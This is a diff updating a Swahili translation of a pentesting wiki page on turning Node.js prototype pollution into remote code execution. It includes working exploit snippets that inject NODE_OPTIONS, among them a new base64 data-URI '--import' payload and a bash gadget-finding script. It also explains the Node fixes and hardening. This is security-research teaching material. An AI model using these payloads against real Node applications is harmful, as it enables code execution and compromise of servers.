Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md

@@ -41,7 +41,7 @@ var proc = fork("a_file.js")
 
 **PP2RCE** inamaanisha **Prototype Pollution to RCE** (Remote Code Execution).
 
-Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unazalishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
+Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unapoanzishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**:
 ```javascript
 //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
 
@@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
 }
 }
 ```
-Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kuongeza uchafu** kwenye **attribute `.env`.**
+Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kujaza** **sifa `.env`.**
 
 ### **Kuharibu `__proto__`**
 
 > [!WARNING]
-> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** inavyofanya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuongeza uchafu chochote**.\
+> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** kazi ya kazi kutoka kwa maktaba ya **`child_process`** ya node inavyofanya, wakati kitu kinapoitwa ili **kueka variable mpya ya env** kwa mchakato unahitaji tu **kujaza chochote**.\
-> Kwa mfano, ukifanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
+> Kwa mfano, ikiwa unafanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`.
 >
-> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuongeza uchafu** kwenye **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
+> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kujaza** **sifa `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio).
 >
-> Ndio maana **`NODE_OPTIONS`** **haipo ndani ya `.env`** katika shambulio linalofuata.
+> Ndio maana **`NODE_OPTIONS`** **haina ndani ya `.env`** katika shambulio linalofuata.
 ```javascript
 const { execSync, fork } = require("child_process")
 
@@ -124,7 +124,7 @@ var proc = fork("a_file.js")
 
 Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika [**hiki andiko**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Tofauti kuu ni:
 
-- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi i**ndani ya argv0** ya **`/proc/self/cmdline`**.
+- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi **ndani ya argv0** ya **`/proc/self/cmdline`**.
 - Kisha, badala ya kuhitaji kupitia **`NODE_OPTIONS`** faili `/proc/self/environ`, inahitaji **`/proc/self/cmdline`**.
 ```javascript
 const { execSync, fork } = require("child_process")
@@ -149,9 +149,50 @@ clone(USERINPUT)
 var proc = fork("a_file.js")
 // This should create the file /tmp/pp2rec
 ```
-## DNS Interaction
+## Filesystem-less PP2RCE kupitia `--import` (Node ≥ 19)
 
-Kwa kutumia payloads zifuatazo inawezekana kutumia NODE_OPTIONS env var tuliyoijadili hapo awali na kugundua kama ilifanya kazi kwa mwingiliano wa DNS:
+> [!NOTE]
+> Tangu **Node.js 19** bendera ya CLI `--import` inaweza kupitishwa kupitia `NODE_OPTIONS` kwa njia ile ile `--require` inavyoweza. Kinyume na `--require`, `--import` inaelewa **data-URIs** hivyo mshambuliaji **hapahitaji ufikiaji wa kuandika kwenye mfumo wa faili** kabisa. Hii inafanya kifaa kuwa na uaminifu zaidi katika mazingira yaliyofungwa au yasiyo na kuandika.
+>
+> Mbinu hii ilirekodiwa kwa mara ya kwanza hadharani na utafiti wa PortSwigger mnamo Mei 2023 na tangu wakati huo imejulikana katika changamoto kadhaa za CTF.
+
+Shambulio hili ni sawa kwa dhana na hila za `--require /proc/self/*` zilizoonyeshwa hapo juu, lakini badala ya kuelekeza kwenye faili tunaingiza mzigo moja kwa moja katika URL ya `data:` iliyokodishwa kwa base64:
+```javascript
+const { fork } = require("child_process")
+
+// Manual pollution
+b = {}
+
+// Javascript that is executed once Node parses the import URL
+const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
+const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
+
+b.__proto__.NODE_OPTIONS = `--import ${payload}`;
+// any key that will force spawn (fork) – same as earlier examples
+fork("./a_file.js");
+```
+Kutitumia mchanganyiko/makloni dhaifu ulioonyeshwa juu ya ukurasa:
+```javascript
+USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
+clone(USERINPUT);
+
+// Gadget trigger
+fork("./a_file.js");
+// → creates /tmp/pp2rce_import
+```
+### Kwa nini `--import` inasaidia
+1. **Hakuna mwingiliano wa diski** – mzigo unatembea kabisa ndani ya mchakato wa amri na mazingira.
+2. **Inafanya kazi na mazingira ya ESM pekee** – `--import` ni njia ya kawaida ya kupakia JavaScript mapema katika toleo za kisasa za Node ambazo zina default kwa ECMAScript Modules.
+3. **Inapita baadhi ya orodha za ruhusa za `--require`** – maktaba chache za kuimarisha zinachuja tu `--require`, zikiacha `--import` bila kuguswa.
+
+> [!WARNING]
+> Msaada wa `--import` katika `NODE_OPTIONS` bado upo katika **Node 22.2.0** (Juni 2025). Timu ya msingi ya Node inajadili kuzuia data-URIs katika siku zijazo, lakini hakuna suluhisho linalopatikana wakati wa kuandika.
+
+---
+
+## Mwingiliano wa DNS
+
+Kwa kutumia mzigo ufuatao inawezekana kutumia mazingira ya NODE_OPTIONS tuliyozungumzia hapo awali na kugundua kama ilifanya kazi na mwingiliano wa DNS:
 ```json
 {
 "__proto__": {
@@ -281,7 +322,7 @@ var proc = fork("./a_file.js")
 
 <details>
 
-<summary><strong><code>spawn</code> unyakuzi</strong></summary>
+<summary><strong><code>spawn</code> unyonyaji</strong></summary>
 ```javascript
 // environ trick - working with small variation (shell and argv0)
 // NOT working after kEmptyObject (fix) without options
@@ -414,7 +455,7 @@ var proc = execSync("something")
 
 <details>
 
-<summary><strong><code>spawnSync</code> unyakuzi</strong></summary>
+<summary><strong><code>spawnSync</code> unyanyasaji</strong></summary>
 ```javascript
 // environ trick - working with small variation (shell and argv0)
 // NOT working after kEmptyObject (fix) without options
@@ -461,20 +502,20 @@ var proc = spawnSync("something")
 ```
 </details>
 
-## Kulazimisha Kuanzisha
+## Kulazimisha Spawn
 
-Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ikiwa msimbo **hauiiti**.
+Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ni nini kitatokea ikiwa msimbo **hauiiti**.
 
 ### Kudhibiti njia ya faili ya require
 
-Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.\
+Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itafanya **kuitisha njia ya spawn wakati inapoingizwa.**\
-Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni:
+Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni:
 
 - /path/to/npm/scripts/changelog.js
 - /opt/yarn-v1.22.19/preinstall.js
 - Pata **faili zaidi hapa chini**
 
-Script rahisi ifuatayo itatafuta **itoaji** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha itoaji ndani ya kazi):
+Script rahisi ifuatayo itatafuta **kuitisha** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha kuitisha ndani ya kazi):
 ```bash
 find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
 grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@@ -483,7 +524,7 @@ done
 ```
 <details>
 
-<summary>Faili za kuvutia zilizopatikana na skripti ya awali</summary>
+<summary>Faili za kuvutia zilizopatikana na script ya awali</summary>
 
 - node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
 - node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@@ -500,20 +541,20 @@ done
 ### Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype
 
 > [!WARNING]
-> **Tekniki ya awali inahitaji** kwamba **mtumiaji anadhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati.
+> **Teknolojia ya awali inahitaji** kwamba **mtumiaji adhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati.
 
-Hata hivyo, ikiwa msimbo utaendesha hitaji baada ya uchafuzi wa prototype, hata kama **huna udhibiti wa njia** ambayo itakuwa inahitajiwa, **unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**.
+Hata hivyo, ikiwa msimbo utaendesha require baada ya uchafuzi wa prototype, hata kama **huhudumu njia** ambayo itakuwa inahitajiwa, unaweza **kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**.
 
-Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
+Kwa hivyo, ikiwa require inatekelezwa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio:
 
 - Tafuta **faili ya `.js` ndani ya mfumo** ambayo wakati **inahitajiwa** itafanya **kitu kwa kutumia `child_process`**
 - Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo
-- Punguza njia ili **kulazimisha upakuaji wa faili ya `.js`** ambayo itafanya kitu na child_process
+- Punguza njia ili **kulazimisha require kupakia faili ya `.js`** ambayo itafanya kitu na child_process
-- **Punguza mazingira/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
+- **Punguza environ/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali)
 
-#### Hitaji la moja kwa moja
+#### Require ya moja kwa moja
 
-Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu kuu** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**.
+Ikiwa require iliyofanywa ni **ya moja kwa moja** (`require("bytes")`) na **pakiti haina main** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **require itekeleze faili tofauti**.
 
 {{#tabs}}
 {{#tab name="exploit"}}
@@ -554,9 +595,9 @@ fork("anything")
 {{#endtab}}
 {{#endtabs}}
 
-#### Mahitaji ya jamaa - 1
+#### Relative require - 1
 
-Ikiwa **njia ya jamaa** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **iweke njia tofauti**:
+Ikiwa **njia ya uhusiano** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **i-load njia tofauti**:
 
 {{#tabs}}
 {{#tab name="exploit"}}
@@ -598,7 +639,7 @@ fork("/path/to/anything")
 #### Mahitaji ya jamaa - 2
 
 {{#tabs}}
-{{#tab name="kuvamia"}}
+{{#tab name="exploit"}}
 ```javascript
 // Create a file called malicious.js in /tmp
 // Contents of malicious.js in the other tab
@@ -636,9 +677,9 @@ fork("/path/to/anything")
 {{#endtab}}
 {{#endtabs}}
 
-#### Mahitaji ya jamaa - 3
+#### Relative require - 3
 
-Kama ilivyo kwa ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
+Kama ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
 ```javascript
 // Requiring /opt/yarn-v1.22.19/preinstall.js
 Object.prototype["data"] = {
@@ -665,13 +706,17 @@ Hata hivyo, kama mbinu za awali za **`child_process`**, imekuwa **imefanyiwa mar
 
 ## Fixes & Unexpected protections
 
-Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika upya**.
+Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika tena**.
 
-Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inaepusha uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\
+Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inazuia uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\
-Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo `spawn` na `spawnSync` **exploits** zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!).
+Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo **exploits** za `spawn` na `spawnSync` zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!).
 
 Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **uchafuzi wa prototype** wa **`contextExtensions`** kutoka maktaba ya vm pia **umeweza kufanyiwa marekebisho** kwa kuweka options kuwa **`kEmptyObject`** badala ya **`{}`.**
 
+> [!INFO]
+> **Node 20 (Aprili 2023) & Node 22 (Aprili 2025)** ilileta uimarishaji zaidi: wasaidizi kadhaa wa `child_process` sasa nakala `options` zinazotolewa na mtumiaji kwa **`CopyOptions()`** badala ya kuzitumia kwa rejeleo. Hii inazuia uchafuzi wa vitu vilivyotengwa kama `stdio`, lakini **haijalinda dhidi ya hila za `NODE_OPTIONS` / `--import`** zilizoelezwa hapo juu – bendera hizo bado zinakubaliwa kupitia mabadiliko ya mazingira. 
+> Marekebisho kamili yangepaswa kuzuia ni bendera zipi za CLI zinaweza kuhamasishwa kutoka kwa mchakato wa mzazi, ambayo inafuatiliwa katika Node Issue #50559.
+
 ### **Other Gadgets**
 
 - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@@ -682,6 +727,8 @@ Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f7
 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
 - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
 - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
+- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
+- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
 - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
 
 {{#include ../../../banners/hacktricks-training.md}}